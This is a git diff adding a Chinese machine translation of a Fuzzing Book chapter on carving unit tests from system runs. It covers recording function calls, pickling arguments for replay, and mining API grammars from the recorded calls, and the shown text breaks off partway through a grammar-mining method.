+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/APIFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：覆盖参数组合
+
+在有关[配置测试](ConfigurationFuzzer.html)的章节中，我们还讨论了*组合测试* –即，对*集*的配置元素的系统介绍。 通过更改语法来实现一种方案，该方案允许覆盖所有*对*参数值。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/APIFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习3：变异参数
+
+要扩大测试期间使用的参数范围，请应用[突变模糊化](MutationFuzzer.html)中引入的*突变方案* –例如，翻转单个字节或从字符串中删除字符。 在语法推断过程中或在调用函数时将其应用为单独步骤。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/APIFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/32.md b/new/fuzzing-book-zh/32.md
new file mode 100644
index 0000000000000000000000000000000000000000..09b917e53c33b1a55d97276fc7b15eeb64883bfa
--- /dev/null
+++ b/new/fuzzing-book-zh/32.md
@@ -0,0 +1,1352 @@
+# 雕刻单元测试
+
+> 原文： [https://www.fuzzingbook.org/html/Carver.html](https://www.fuzzingbook.org/html/Carver.html)
+
+到目前为止，我们始终生成*系统输入*，即程序整体通过其输入通道获得的数据。 如果我们只想测试一小部分功能，则必须通过整个系统，效率很低。 本章介绍了一种称为*雕刻*的技术，该技术在进行系统测试后会自动提取一组*单元测试*，该单元测试会复制在单元测试期间看到的调用。 关键思想是*记录*这样的调用，以便我们以后可以*整体或选择性地重播*。 最重要的是，我们还探讨了如何从雕刻的单元测试中综合API语法。 这意味着我们可以*合成API测试，而根本不必编写语法。*
+
+**前提条件**
+
+*   雕刻使用函数调用和变量的动态跟踪，如有关配置模糊的[一章中介绍的那样。](ConfigurationFuzzer.html)
+*   在API模糊测试的[一章中介绍了使用语法来测试单元。](APIFuzzer.html)
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+import [APIFuzzer](APIFuzzer.html)
+
+```
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.Carver](Carver.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章提供了在系统测试期间用于*记录和重播功能调用*的方法。 由于单个函数调用比整个系统运行快得多，因此这种“雕刻”机制有可能更快地运行测试。
+
+### 记录通话
+
+`CallCarver`类记录了处于活动状态时发生的所有呼叫。 它与`with`子句结合使用：
+
+```py
+>>> with CallCarver() as carver:
+>>>     y = my_sqrt(2)
+>>>     y = my_sqrt(4)
+
+```
+
+执行后，`called_functions()`列出遇到的功能的名称：
+
+```py
+>>> carver.called_functions()
+['my_sqrt', '__exit__']
+
+```
+
+`arguments()`方法列出了为函数记录的参数。 这是函数名称到参数列表的映射； 每个参数都是一对（参数名称，值）。
+
+```py
+>>> carver.arguments('my_sqrt')
+[[('x', 2)], [('x', 4)]]
+
+```
+
+复杂的参数已正确序列化，因此可以轻松恢复它们。
+
+### 合成呼叫
+
+尽管这些已记录的自变量已经可以转换为自变量和调用，但是更好的替代方法是为已记录的调用创建*语法*。 这允许合成参数的任意*组合*，并且还为进一步定制调用提供了基础。
+
+`CallGrammarMiner`类将雕刻的执行列表转换成语法。
+
+```py
+>>> my_sqrt_miner = CallGrammarMiner(carver)
+>>> my_sqrt_grammar = my_sqrt_miner.mine_call_grammar()
+>>> my_sqrt_grammar
+{'<start>': ['<call>'],
+ '<call>': ['<my_sqrt>'],
+ '<my_sqrt-x>': ['4', '2'],
+ '<my_sqrt>': ['my_sqrt(<my_sqrt-x>)']}
+
+```
+
+该语法可用于合成呼叫。
+
+```py
+>>> fuzzer = GrammarCoverageFuzzer(my_sqrt_grammar)
+>>> fuzzer.fuzz()
+'my_sqrt(2)'
+
+```
+
+这些调用可以隔离执行，从而有效地从系统测试中提取单元测试：
+
+```py
+>>> eval(fuzzer.fuzz())
+2.0
+
+```
+
+## 系统测试与单元测试
+
+还记得为[语法模糊](Grammars.html)引入的URL语法吗？ 有了这样的语法，我们可以一次又一次愉快地测试Web浏览器，检查它对任意页面请求的反应。
+
+让我们定义一个非常简单的“ Web浏览器”，它可以下载URL给出的内容。
+
+```py
+import [urllib.parse](https://docs.python.org/3/library/urllib.parse.html)
+
+```
+
+```py
+def webbrowser(url):
+    """Download the http/https resource given by the URL"""
+    import [requests](http://docs.python-requests.org/en/master/)  # Only import if needed
+
+    r = requests.get(url)
+    return r.text
+
+```
+
+让我们在 [fuzzingbook.org](https://www.fuzzingbook.org/) 上应用它，并使用 [Timer类](Timer.html)测量时间：
+
+```py
+from [Timer](Timer.html) import Timer
+
+```
+
+```py
+with Timer() as webbrowser_timer:
+    fuzzingbook_contents = webbrowser(
+        "http://www.fuzzingbook.org/html/Fuzzer.html")
+
+print("Downloaded %d bytes in %.2f seconds" %
+      (len(fuzzingbook_contents), webbrowser_timer.elapsed_time()))
+
+```
+
+```py
+Downloaded 414793 bytes in 0.21 seconds
+
+```
+
+```py
+fuzzingbook_contents[:100]
+
+```
+
+```py
+'\n<!-- A html document -->\n<!-- \nwith standard nbconvert css layout\nwith standard nbconvert input/out'
+
+```
+
+完整的Web浏览器当然也会呈现HTML内容。 我们可以使用以下命令来实现此目的（但是我们不希望这样做，因为我们不想在此处复制整个网页）：
+
+```py
+from [IPython.display](https://ipython.readthedocs.io/en/stable/api/generated/IPython.display.html) import HTML, display
+HTML(fuzzingbook_contents)
+
+```
+
+但是，不得不一次又一次启动整个浏览器（或者让它呈现网页）意味着很多开销-特别是如果我们只想测试其一部分功能。 特别是，在代码更改之后，我们宁愿只测试受更改影响的功能子集，而不是一次又一次地运行经过良好测试的功能。
+
+让我们假设我们更改用于解析给定URL并将其分解为各个元素的功能-方案（“ http”），网络位置（`"www.fuzzingbook.com"`）或路径（`"/html/Fuzzer.html"`）。 该函数名为`urlparse()`：
+
+```py
+from [urllib.parse](https://docs.python.org/3/library/urllib.parse.html) import urlparse
+
+```
+
+```py
+urlparse('https://www.fuzzingbook.com/html/Carver.html')
+
+```
+
+```py
+ParseResult(scheme='https', netloc='www.fuzzingbook.com', path='/html/Carver.html', params='', query='', fragment='')
+
+```
+
+您会看到URL的各个元素– *方案*（`"http"`），*网络位置*（`"www.fuzzingbook.com"`）或路径（`"//html/Carver.html"`）都如何正确 确定。 其他元素（例如`params`，`query`或`fragment`）为空，因为它们不是我们输入的一部分。
+
+有趣的是，仅执行`urlparse()`比运行所有`webbrowser()`快几个数量级。 让我们测量一下因素：
+
+```py
+runs = 1000
+with Timer() as urlparse_timer:
+    for i in range(runs):
+        urlparse('https://www.fuzzingbook.com/html/Carver.html')
+
+avg_urlparse_time = urlparse_timer.elapsed_time() / 1000
+avg_urlparse_time
+
+```
+
+```py
+2.006764000725525e-06
+
+```
+
+将此与网络浏览器所需的时间进行比较
+
+```py
+webbrowser_timer.elapsed_time()
+
+```
+
+```py
+0.21377766900059214
+
+```
+
+时间差异巨大：
+
+```py
+webbrowser_timer.elapsed_time() / avg_urlparse_time
+
+```
+
+```py
+106528.55488901684
+
+```
+
+因此，在运行一次`webbrowser()`所需的时间中，我们可以执行*数以万计的`urlparse()` –这甚至都没有考虑到浏览器呈现代码所需的时间。 下载的HTML，运行包含的脚本以及加载网页时发生的其他情况。 因此，允许我们在*单元*级别进行测试的策略非常有前途，因为它们可以节省很多开销。*
+
+## 雕刻单元测试
+
+单元级别的测试方法和功能需要对要测试的各个单元以及它们与其他单元之间的相互作用有很好的了解。 因此，建立适当的基础架构并手动编写单元测试是一项艰巨而又有益的工作。 但是，还有一种有趣的替代方法可以手动编写单元测试。 *自动雕刻*的技术*通过记录和重放函数调用将系统测试转换为单元测试*：
+
+1.  在系统测试（给定或生成）中，我们*记录*对函数的所有调用，包括该函数读取的所有参数和其他变量。
+2.  通过这些，我们合成了一个独立的*单元测试*，该单元测试重构了带有所有参数的函数调用。
+3.  可以随时高效地执行（重放）该单元测试。
+
+在本章的其余部分，让我们探索这些步骤。
+
+## 记录通话
+
+我们的第一个挑战是将函数调用及其参数记录在一起。 （为了简单起见，我们将自己限制为参数，而忽略该函数读取的任何全局变量或其他非参数。）为了记录调用和参数，我们使用为覆盖率介绍的机制  ：通过设置跟踪器函数，我们将所有调用跟踪到单个函数中，并保存其参数。 就像`Coverage`对象一样，我们希望使用`Carver`对象能够与`with`语句结合使用，以便我们可以跟踪特定的代码块：
+
+```py
+with Carver() as carver:
+    function_to_be_traced()
+c = carver.calls()
+
+```
+
+初始定义支持以下构造：
+
+\ todo {从[动态不变量](DynamicInvariants.html)获取跟踪器}
+
+```py
+import [sys](https://docs.python.org/3/library/sys.html)
+
+```
+
+```py
+class Carver(object):
+    def __init__(self, log=False):
+        self._log = log
+        self.reset()
+
+    def reset(self):
+        self._calls = {}
+
+    # Start of `with` block
+    def __enter__(self):
+        self.original_trace_function = sys.gettrace()
+        sys.settrace(self.traceit)
+        return self
+
+    # End of `with` block
+    def __exit__(self, exc_type, exc_value, tb):
+        sys.settrace(self.original_trace_function)
+
+```
+
+实际工作在`traceit()`方法中进行，该方法将所有调用记录在`_calls`属性中。 首先，我们定义两个辅助函数：
+
+```py
+import [inspect](https://docs.python.org/3/library/inspect.html)
+
+```
+
+```py
+def get_qualified_name(code):
+    """Return the fully qualified name of the current function"""
+    name = code.co_name
+    module = inspect.getmodule(code)
+    if module is not None:
+        name = module.__name__ + "." + name
+    return name
+
+```
+
+```py
+def get_arguments(frame):
+    """Return call arguments in the given frame"""
+    # When called, all arguments are local variables
+    arguments = [(var, frame.f_locals[var]) for var in frame.f_locals]
+    arguments.reverse()  # Want same order as call
+    return arguments
+
+```
+
+```py
+class CallCarver(Carver):
+    def add_call(self, function_name, arguments):
+        """Add given call to list of calls"""
+        if function_name not in self._calls:
+            self._calls[function_name] = []
+        self._calls[function_name].append(arguments)
+
+    # Tracking function: Record all calls and all args
+    def traceit(self, frame, event, arg):
+        if event != "call":
+            return None
+
+        code = frame.f_code
+        function_name = code.co_name
+        qualified_name = get_qualified_name(code)
+        arguments = get_arguments(frame)
+
+        self.add_call(function_name, arguments)
+        if qualified_name != function_name:
+            self.add_call(qualified_name, arguments)
+
+        if self._log:
+            print(simple_call_string(function_name, arguments))
+
+        return None
+
+```
+
+最后，我们需要一些便利功能来访问呼叫：
+
+```py
+class CallCarver(CallCarver):
+    def calls(self):
+        """Return a dictionary of all calls traced."""
+        return self._calls
+
+    def arguments(self, function_name):
+        """Return a list of all arguments of the given function
+ as (VAR, VALUE) pairs.
+ Raises an exception if the function was not traced."""
+        return self._calls[function_name]
+
+    def called_functions(self, qualified=False):
+        """Return all functions called."""
+        if qualified:
+            return [function_name for function_name in self._calls.keys()
+                    if function_name.find('.') >= 0]
+        else:
+            return [function_name for function_name in self._calls.keys()
+                    if function_name.find('.') < 0]
+
+```
+
+### 记录my_sqrt（）)
+
+让我们尝试一个新的`Carver`类-首先使用一个非常简单的函数：
+
+```py
+from [Intro_Testing](Intro_Testing.html) import my_sqrt
+
+```
+
+```py
+with CallCarver() as sqrt_carver:
+    my_sqrt(2)
+    my_sqrt(4)
+
+```
+
+我们可以检索所有看到的电话...
+
+```py
+sqrt_carver.calls()
+
+```
+
+```py
+{'my_sqrt': [[('x', 2)], [('x', 4)]],
+ '__exit__': [[('self', <__main__.CallCarver at 0x11129c9b0>),
+   ('exc_type', None),
+   ('exc_value', None),
+   ('tb', None)]]}
+
+```
+
+```py
+sqrt_carver.called_functions()
+
+```
+
+```py
+['my_sqrt', '__exit__']
+
+```
+
+...以及特定函数的参数：
+
+```py
+sqrt_carver.arguments("my_sqrt")
+
+```
+
+```py
+[[('x', 2)], [('x', 4)]]
+
+```
+
+我们定义了一个便捷功能，可以更好地打印这些列表：
+
+```py
+def simple_call_string(function_name, argument_list):
+    """Return function_name(arg[0], arg[1], ...) as a string"""
+    return function_name + "(" + \
+        ", ".join([var + "=" + repr(value)
+                   for (var, value) in argument_list]) + ")"
+
+```
+
+```py
+for function_name in sqrt_carver.called_functions():
+    for argument_list in sqrt_carver.arguments(function_name):
+        print(simple_call_string(function_name, argument_list))
+
+```
+
+```py
+my_sqrt(x=2)
+my_sqrt(x=4)
+__exit__(self=<__main__.CallCarver object at 0x11129c9b0>, exc_type=None, exc_value=None, tb=None)
+
+```
+
+这是我们可以直接用来再次调用`my_sqrt()`的语法：
+
+```py
+eval("my_sqrt(x=2)")
+
+```
+
+```py
+1.414213562373095
+
+```
+
+### 雕刻urlparse（）)
+
+如果将此应用于`webbrowser()`，会发生什么？
+
+```py
+with CallCarver() as webbrowser_carver:
+    webbrowser("http://www.example.com")
+
+```
+
+我们看到从Web检索URL需要很多功能：
+
+```py
+function_list = webbrowser_carver.called_functions(qualified=True)
+len(function_list)
+
+```
+
+```py
+304
+
+```
+
+```py
+print(function_list[:50])
+
+```
+
+```py
+['requests.api.get', 'requests.api.request', 'requests.sessions.__init__', 'requests.utils.default_headers', 'requests.utils.default_user_agent', 'requests.structures.__init__', 'collections.abc.update', 'abc.__instancecheck__', '_weakrefset.__contains__', 'requests.structures.__setitem__', 'requests.hooks.default_hooks', 'requests.hooks.<dictcomp>', 'requests.cookies.cookiejar_from_dict', 'http.cookiejar.__init__', 'threading.RLock', 'http.cookiejar.__iter__', 'requests.cookies.<listcomp>', 'http.cookiejar.deepvalues', 'http.cookiejar.vals_sorted_by_key', 'requests.adapters.__init__', 'urllib3.util.retry.__init__', 'requests.adapters.init_poolmanager', 'urllib3.poolmanager.__init__', 'urllib3.request.__init__', 'urllib3._collections.__init__', 'requests.sessions.mount', 'requests.sessions.<listcomp>', 'requests.sessions.__enter__', 'requests.sessions.request', 'requests.models.__init__', 'requests.sessions.prepare_request', 'requests.cookies.merge_cookies', 'requests.cookies.update', 'requests.utils.get_netrc_auth', 'posixpath.expanduser', 'posixpath._get_sep', 'collections.abc.__contains__', 'os.__getitem__', 'os.encode', 'os.decode', 'genericpath.exists', 'urllib.parse.urlparse', 'urllib.parse._coerce_args', 'urllib.parse.urlsplit', 'urllib.parse._splitnetloc', 'urllib.parse._noop', 'netrc.__init__', '_bootlocale.getpreferredencoding', 'codecs.__init__', 'netrc._parse']
+
+```
+
+在其他几个函数中，我们还调用了`urlparse()`：
+
+```py
+urlparse_argument_list = webbrowser_carver.arguments("urllib.parse.urlparse")
+urlparse_argument_list
+
+```
+
+```py
+[[('url', 'http://www.example.com'),
+  ('scheme', ''),
+  ('allow_fragments', True)],
+ [('url', 'http://www.example.com/'),
+  ('scheme', ''),
+  ('allow_fragments', True)],
+ [('url', 'http://www.example.com/'),
+  ('scheme', ''),
+  ('allow_fragments', True)],
+ [('url', 'http://www.example.com/'),
+  ('scheme', ''),
+  ('allow_fragments', True)],
+ [('url', 'http://www.example.com/'),
+  ('scheme', ''),
+  ('allow_fragments', True)],
+ [('url', 'http://www.example.com/'),
+  ('scheme', ''),
+  ('allow_fragments', True)],
+ [('url', 'http://www.example.com/'),
+  ('scheme', ''),
+  ('allow_fragments', True)],
+ [('url', 'http://www.example.com/'),
+  ('scheme', ''),
+  ('allow_fragments', True)],
+ [('url', 'http://www.example.com/'),
+  ('scheme', ''),
+  ('allow_fragments', True)],
+ [('url', 'http://www.example.com/'),
+  ('scheme', ''),
+  ('allow_fragments', True)],
+ [('url', 'http://www.example.com/'),
+  ('scheme', ''),
+  ('allow_fragments', True)]]
+
+```
+
+同样，我们可以将其转换为格式正确的调用：
+
+```py
+urlparse_call = simple_call_string("urlparse", urlparse_argument_list[0])
+urlparse_call
+
+```
+
+```py
+"urlparse(url='http://www.example.com', scheme='', allow_fragments=True)"
+
+```
+
+同样，我们可以重新执行此调用：
+
+```py
+eval(urlparse_call)
+
+```
+
+```py
+ParseResult(scheme='http', netloc='www.example.com', path='', params='', query='', fragment='')
+
+```
+
+现在，我们已经成功地从`webbrowser()`执行中提取了对`urlparse()`的调用。
+
+## 重播呼叫
+
+重放呼叫的全部和全部内容是棘手的，因为要解决一些挑战。 这些包括：
+
+1.  我们需要能够*访问*各个功能。 如果我们通过名称访问函数，则该名称必须在范围内。 如果名称不可见（例如，因为它是模块内部的名称），则必须使其可见。
+
+2.  必须记录并重建在参数之外访问的任何*资源*，以进行重播。 如果变量引用外部资源（例如文件或网络资源），则可能会很困难。
+
+3.  *复杂对象*也必须重建。
+
+如果要测试的功能与其环境有很大的交互作用，这些约束将使雕刻变得困难甚至无法进行。 为了说明这些问题，请考虑在`webbrowser()`中调用的`email.parser.parse()`方法：
+
+```py
+email_parse_argument_list = webbrowser_carver.arguments("email.parser.parse")
+
+```
+
+对该方法的调用如下所示：
+
+```py
+email_parse_call = simple_call_string(
+    "email.parser.parse",
+    email_parse_argument_list[0])
+email_parse_call
+
+```
+
+```py
+'email.parser.parse(self=<email.parser.Parser object at 0x11f249f60>, fp=<_io.StringIO object at 0x11f3f5828>, headersonly=False)'
+
+```
+
+我们看到`email.parser.parse()`是`email.parser.Parser`对象的一部分，并且它获得了`StringIO`对象。 两者都是非原始值。 我们怎么可能重建它们？
+
+### 序列化对象
+
+复杂对象问题的答案在于创建一个*持久性*表示形式，可以在以后的时间点将其*重构为*。 此过程称为*序列化*； 在Python中，它也称为*酸洗*。 `pickle`模块提供了创建对象的序列化表示的方法。 让我们将其应用于刚刚发现的`email.parser.Parser`对象：
+
+```py
+import [pickle](https://docs.python.org/3/library/pickle.html)    
+
+```
+
+```py
+parser_object = email_parse_argument_list[0][0][1]
+parser_object
+
+```
+
+```py
+<email.parser.Parser at 0x11f249f60>
+
+```
+
+```py
+pickled = pickle.dumps(parser_object)
+pickled
+
+```
+
+```py
+b'\x80\x03cemail.parser\nParser\nq\x00)\x81q\x01}q\x02(X\x06\x00\x00\x00_classq\x03chttp.client\nHTTPMessage\nq\x04X\x06\x00\x00\x00policyq\x05cemail._policybase\nCompat32\nq\x06)\x81q\x07ub.'
+
+```
+
+通过代表串行化`email.parser.Parser`对象的此字符串，我们可以随时重新创建Parser对象：
+
+```py
+unpickled_parser_object = pickle.loads(pickled)
+unpickled_parser_object
+
+```
+
+```py
+<email.parser.Parser at 0x11f42c828>
+
+```
+
+序列化机制允许我们为作为参数传递的所有对象生成表示形式（假设它们可以被腌制）。 现在，我们可以扩展`simple_call_string()`函数，使其自动腌制对象。 此外，我们将其设置为如果第一个参数名为`self`（即它是一个类方法），则将其设为`self`对象的方法。
+
+```py
+def call_value(value):
+    value_as_string = repr(value)
+    if value_as_string.find('<') >= 0:
+        # Complex object
+        value_as_string = "pickle.loads(" + repr(pickle.dumps(value)) + ")"
+    return value_as_string
+
+```
+
+```py
+def call_string(function_name, argument_list):
+    """Return function_name(arg[0], arg[1], ...) as a string, pickling complex objects"""
+    if len(argument_list) > 0:
+        (first_var, first_value) = argument_list[0]
+        if first_var == "self":
+            # Make this a method call
+            method_name = function_name.split(".")[-1]
+            function_name = call_value(first_value) + "." + method_name
+            argument_list = argument_list[1:]
+
+    return function_name + "(" + \
+        ", ".join([var + "=" + call_value(value)
+                   for (var, value) in argument_list]) + ")"
+
+```
+
+让我们应用扩展的`call_string()`方法创建对`email.parser.parse()`的调用，包括腌制的对象：
+
+```py
+call = call_string("email.parser.parse", email_parse_argument_list[0])
+print(call)
+
+```
+
+```py
+pickle.loads(b'\x80\x03cemail.parser\nParser\nq\x00)\x81q\x01}q\x02(X\x06\x00\x00\x00_classq\x03chttp.client\nHTTPMessage\nq\x04X\x06\x00\x00\x00policyq\x05cemail._policybase\nCompat32\nq\x06)\x81q\x07ub.').parse(fp=pickle.loads(b'\x80\x03c_io\nStringIO\nq\x00)\x81q\x01(XX\x01\x00\x00Content-Encoding: gzip\r\nAccept-Ranges: bytes\r\nCache-Control: max-age=604800\r\nContent-Type: text/html; charset=UTF-8\r\nDate: Tue, 21 May 2019 18:16:28 GMT\r\nEtag: "1541025663"\r\nExpires: Tue, 28 May 2019 18:16:28 GMT\r\nLast-Modified: Fri, 09 Aug 2013 23:54:35 GMT\r\nServer: ECS (dcb/7F3B)\r\nVary: Accept-Encoding\r\nX-Cache: HIT\r\nContent-Length: 606\r\n\r\nq\x02X\x01\x00\x00\x00\nq\x03MX\x01Ntq\x04b.'), headersonly=False)
+
+```
+
+通过此调用涉及腌制对象，我们现在可以重新运行原始调用并获得有效结果：
+
+```py
+eval(call)
+
+```
+
+```py
+<http.client.HTTPMessage at 0x111340c50>
+
+```
+
+### 所有通话
+
+到目前为止，我们只看到一个`webbrowser()`调用。 我们实际上可以划分和重播`webbrowser()`中的多少个呼叫？ 让我们尝试一下并计算数字。
+
+```py
+import [traceback](https://docs.python.org/3/library/traceback.html)
+
+```
+
+```py
+import [enum](https://docs.python.org/3/library/enum.html)
+import [socket](https://docs.python.org/3/library/socket.html)
+
+```
+
+```py
+all_functions = set(webbrowser_carver.called_functions(qualified=True))
+call_success = set()
+run_success = set()
+
+```
+
+```py
+exceptions_seen = set()
+
+for function_name in webbrowser_carver.called_functions(qualified=True):
+    for argument_list in webbrowser_carver.arguments(function_name):
+        try:
+            call = call_string(function_name, argument_list)
+            call_success.add(function_name)
+
+            result = eval(call)
+            run_success.add(function_name)
+
+        except Exception as exc:
+            exceptions_seen.add(repr(exc))
+            # print("->", call, file=sys.stderr)
+            # traceback.print_exc()
+            # print("", file=sys.stderr)
+            continue
+
+```
+
+```py
+print("%d/%d calls (%.2f%%) successfully created and %d/%d calls (%.2f%%) successfully ran" % (
+    len(call_success), len(all_functions), len(
+        call_success) * 100 / len(all_functions),
+    len(run_success), len(all_functions), len(run_success) * 100 / len(all_functions)))
+
+```
+
+```py
+241/304 calls (79.28%) successfully created and 99/304 calls (32.57%) successfully ran
+
+```
+
+大约一半的呼叫成功。 让我们看一下我们得到的一些错误消息：
+
+```py
+for i in range(10):
+    print(list(exceptions_seen)[i])
+
+```
+
+```py
+NameError("name 'email' is not defined",)
+SyntaxError('keyword argument repeated', ('<string>', 1, 98, None))
+AttributeError("module 'urllib.request' has no attribute 'ip2num'",)
+NameError("name 'OrderedDict' is not defined",)
+NameError("name 'Compat32' is not defined",)
+StopIteration()
+AttributeError("'NoneType' object has no attribute 'close'",)
+TypeError("can't pickle weakref objects",)
+NameError("name 'urllib3' is not defined",)
+TypeError("argument of type 'NoneType' is not iterable",)
+
+```
+
+我们看到：
+
+*   **大部分呼叫可以转换为呼叫字符串。** 如果不是这种情况，则主要是由于传递了非序列化的对象。
+*   **大约可以执行一半的呼叫。** 失败运行的错误消息多种多样； 最常见的是调用了某个不在范围内的内部名称。
+
+我们的雕刻机制应该是一粒盐：我们仍然没有涵盖访问外部变量和值（例如全局变量）并且序列化机制无法重新创建外部资源的情况。 但是，如果感兴趣的功能属于*可以被雕刻和重放的功能，我们可以非常有效地以其原始参数重新运行它的调用。*
+
+## 从中断调用中挖掘API语法
+
+到目前为止，我们已经使用雕刻调用来重播与最初遇到的调用完全相同的调用。 但是，我们也可以*变异*雕刻的调用，以有效地模糊具有先前记录的参数的API。
+
+总体思路如下：
+
+1.  首先，我们记录程序执行中给定功能的所有调用。
+2.  其次，我们创建一个包含所有这些调用的语法，为每个参数使用单独的规则，为找到的每个值提供替代方案； 这使我们能够产生任意调用*来重新组合*这些参数的调用。
+
+让我们在以下各节中探索这些步骤。
+
+### 从呼叫到语法
+
+让我们从一个例子开始。 `power(x, y)`函数返回$ x ^ y $; 它只是对等效`math.pow()`函数的包装。 （由于`power()`是用Python定义的，因此我们可以对其进行跟踪–与`math.pow()`相比，后者是用C实现的。）
+
+```py
+import [math](https://docs.python.org/3/library/math.html)
+
+```
+
+```py
+def power(x, y):
+    return math.pow(x, y)
+
+```
+
+让我们在记录参数时调用`power()`：
+
+```py
+with CallCarver() as power_carver:
+    z = power(1, 2)
+    z = power(3, 4)
+
+```
+
+```py
+power_carver.arguments("power")
+
+```
+
+```py
+[[('x', 1), ('y', 2)], [('x', 3), ('y', 4)]]
+
+```
+
+从记录的参数列表中，我们现在可以为`power()`调用创建语法，其中`x`和`y`扩展为所看到的值：
+
+```py
+from [Grammars](Grammars.html) import START_SYMBOL, is_valid_grammar, new_symbol, extend_grammar
+
+```
+
+```py
+POWER_GRAMMAR = {
+    "<start>": ["power(<x>, <y>)"],
+    "<x>": ["1", "3"],
+    "<y>": ["2", "4"]
+}
+
+assert is_valid_grammar(POWER_GRAMMAR)
+
+```
+
+当用这种语法模糊时，我们可以得到`x`和`y`的任意组合； 以覆盖为目标将确保至少对所有值进行了至少一次实际测试：
+
+```py
+from [GrammarCoverageFuzzer](GrammarCoverageFuzzer.html) import GrammarCoverageFuzzer
+
+```
+
+```py
+power_fuzzer = GrammarCoverageFuzzer(POWER_GRAMMAR)
+[power_fuzzer.fuzz() for i in range(5)]
+
+```
+
+```py
+['power(1, 2)', 'power(3, 4)', 'power(1, 2)', 'power(3, 4)', 'power(3, 4)']
+
+```
+
+我们需要的是一种自动将`power_carver`中看到的参数转换为`POWER_GRAMMAR`中看到的语法的方法。 这是我们在下一部分中定义的。
+
+### 呼叫的语法挖掘器
+
+我们引入了一个`CallGrammarMiner`类，给定一个`Carver`，它会根据所看到的调用自动生成语法。 要初始化，我们传递carver对象：
+
+```py
+class CallGrammarMiner(object):
+    def __init__(self, carver, log=False):
+        self.carver = carver
+        self.log = log
+
+```
+
+#### 初始语法
+
+初始语法产生一个调用。 可能的`<call>`扩展将在以后构建：
+
+```py
+import [copy](https://docs.python.org/3/library/copy.html) 
+
+```
+
+```py
+class CallGrammarMiner(CallGrammarMiner):
+    CALL_SYMBOL = "<call>"
+
+    def initial_grammar(self):
+        return extend_grammar(
+            {START_SYMBOL: [self.CALL_SYMBOL],
+                self.CALL_SYMBOL: []
+             })
+
+```
+
+```py
+m = CallGrammarMiner(power_carver)
+initial_grammar = m.initial_grammar()
+initial_grammar
+
+```
+
+```py
+{'<start>': ['<call>'], '<call>': []}
+
+```
+
+#### 从参数[到](#A-Grammar-from-Arguments)的语法
+
+让我们首先从参数列表创建语法。 方法`mine_arguments_grammar()`为在雕刻过程中看到的参数创建语法，例如：
+
+```py
+arguments = power_carver.arguments("power")
+arguments
+
+```
+
+```py
+[[('x', 1), ('y', 2)], [('x', 3), ('y', 4)]]
+
+```
+
+`mine_arguments_grammar()`方法迭代看到的变量，并创建变量名称的`variables`到看到的一组值的映射（作为字符串，通过`call_value()`）。 在第二步中，然后为每个变量名称创建一个带有规则的语法，并扩展为可见的值。
+
+```py
+class CallGrammarMiner(CallGrammarMiner):
+    def var_symbol(self, function_name, var, grammar):
+        return new_symbol(grammar, "<" + function_name + "-" + var + ">")
+
+    def mine_arguments_grammar(self, function_name, arguments, grammar):
+        var_grammar = {}
+
+        variables = {}
+        for argument_list in arguments:
+            for (var, value) in argument_list:
+                value_string = call_value(value)
+                if self.log:
+                    print(var, "=", value_string)
+
+                if value_string.find("<") >= 0:
+                    var_grammar["<langle>"] = ["<"]
+                    value_string = value_string.replace("<", "<langle>")
+
+                if var not in variables:
+                    variables[var] = set()
+                variables[var].add(value_string)
+
+        var_symbols = []
+        for var in variables:
+            var_symbol = self.var_symbol(function_name, var, grammar)
+            var_symbols.append(var_symbol)
+            var_grammar[var_symbol] = list(variables[var])
+
+        return var_grammar, var_symbols
+
+```
+
+```py
+m = CallGrammarMiner(power_carver)
+var_grammar, var_symbols = m.mine_arguments_grammar(
+    "power", arguments, initial_grammar)
+
+```
+
+```py
+var_grammar
+
+```
+
+```py
+{'<power-x>': ['1', '3'], '<power-y>': ['4', '2']}
+
+```
+
+附加返回值`var_symbols`是调用中的参数符号列表：
+
+```py
+var_symbols
+
+```
+
+```py
+['<power-x>', '<power-y>']
+
+```
+
+#### 来电语法
+
+为了获得单个函数（`mine_function_grammar()`）的语法，我们向函数添加了一个调用：
+
+```py
+class CallGrammarMiner(CallGrammarMiner):
+    def function_symbol(self, function_name, grammar):
+        return new_symbol(grammar, "<" + function_name + ">")
+
+    def mine_function_grammar(self, function_name, grammar):
+        arguments = self.carver.arguments(function_name)
+
+        if self.log:
+            print(function_name, arguments)
+
+        var_grammar, var_symbols = self.mine_arguments_grammar(
+            function_name, arguments, grammar)
+
+        function_grammar = var_grammar
+        function_symbol = self.function_symbol(function_name, grammar)
+
+        if len(var_symbols) > 0 and var_symbols[0].find("-self") >= 0:
+            # Method call
+            function_grammar[function_symbol] = [
+                var_symbols[0] + "." + function_name + "(" + ", ".join(var_symbols[1:]) + ")"]
+        else:
+            function_grammar[function_symbol] = [
+                function_name + "(" + ", ".join(var_symbols) + ")"]
+
+        if self.log:
+            print(function_symbol, "::=", function_grammar[function_symbol])
+
+        return function_grammar, function_symbol
+
+```
+
+```py
+m = CallGrammarMiner(power_carver)
+function_grammar, function_symbol = m.mine_function_grammar(
+    "power", initial_grammar)
+function_grammar
+
+```
+
+```py
+{'<power-x>': ['1', '3'],
+ '<power-y>': ['4', '2'],
+ '<power>': ['power(<power-x>, <power-y>)']}
+
+```
+
+另外返回的`function_symbol`保存刚刚添加的函数调用的名称：
+
+```py
+function_symbol
+
+```
+
+```py
+'<power>'
+
+```
+
+#### 所有调用的语法
+
+现在让我们对雕刻期间看到的所有函数调用重复上述操作。 为此，我们简单地遍历所有可见的函数调用：
+
+```py
+power_carver.called_functions()
+
+```
+
+```py
+['power', '__exit__']
+
+```
+
+```py
+class CallGrammarMiner(CallGrammarMiner):
+    def mine_call_grammar(self, function_list=None, qualified=False):
+        grammar = self.initial_grammar()
+        fn_list = function_list
+        if function_list is None:
+            fn_list = self.carver.called_functions(qualified=qualified)
+
+        for function_name in fn_list:
